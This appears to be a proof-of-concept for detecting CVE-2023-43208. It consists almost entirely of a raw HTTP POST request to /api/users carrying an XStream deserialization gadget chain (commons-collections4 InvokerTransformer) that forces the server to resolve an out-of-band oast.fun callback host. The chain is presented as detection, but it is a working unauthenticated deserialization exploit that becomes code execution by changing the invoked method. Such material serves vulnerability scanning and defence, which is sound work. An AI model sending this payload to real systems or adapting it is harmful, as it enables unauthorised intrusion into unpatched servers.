CVE-2023-43208_Detection_PoC

Usar java.net.InetAddress para la detección

POST /api/users HTTP/1.1
Host: ip:8443
User-Agent: Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Connection: keep-alive
Content-Length: 1964
Content-Type: application/xml
X-Requested-With: OpenAPI
Accept-Encoding: gzip, deflate, br

<sorted-set>
    <string>ABCD</string>
    <dynamic-proxy>
      <interface>java.lang.Comparable</interface>
      <handler class="org.apache.commons.lang3.event.EventUtils$EventBindingInvocationHandler">
        <target class="org.apache.commons.collections4.functors.ChainedTransformer">
          <iTransformers>
            <org.apache.commons.collections4.functors.ConstantTransformer>
              <iConstant class="java-class">java.net.InetAddress</iConstant>
            </org.apache.commons.collections4.functors.ConstantTransformer>
            <org.apache.commons.collections4.functors.InvokerTransformer>
              <iMethodName>getMethod</iMethodName>
              <iParamTypes>
                <java-class>java.lang.String</java-class>
                <java-class>[Ljava.lang.Class;</java-class>
              </iParamTypes>
              <iArgs>
                <string>getAllByName</string>
                <java-class-array>
                  <java-class>java.lang.String</java-class>
                </java-class-array>
              </iArgs>
            </org.apache.commons.collections4.functors.InvokerTransformer>
            <org.apache.commons.collections4.functors.InvokerTransformer>
              <iMethodName>invoke</iMethodName>
              <iParamTypes>
                <java-class>java.lang.Object</java-class>
                <java-class>[Ljava.lang.Object;</java-class>
              </iParamTypes>
              <iArgs>
                <null/>
                <object-array>
                  <string>XXXXXXXXXXXXXXXXXXXXXXXXXXXXX.oast.fun</string>
                </object-array>
              </iArgs>
            </org.apache.commons.collections4.functors.InvokerTransformer>
          </iTransformers>
        </target>
        <methodName>transform</methodName>
        <eventTypes>
          <string>compareTo</string>
        </eventTypes>
      </handler>
    </dynamic-proxy>
</sorted-set>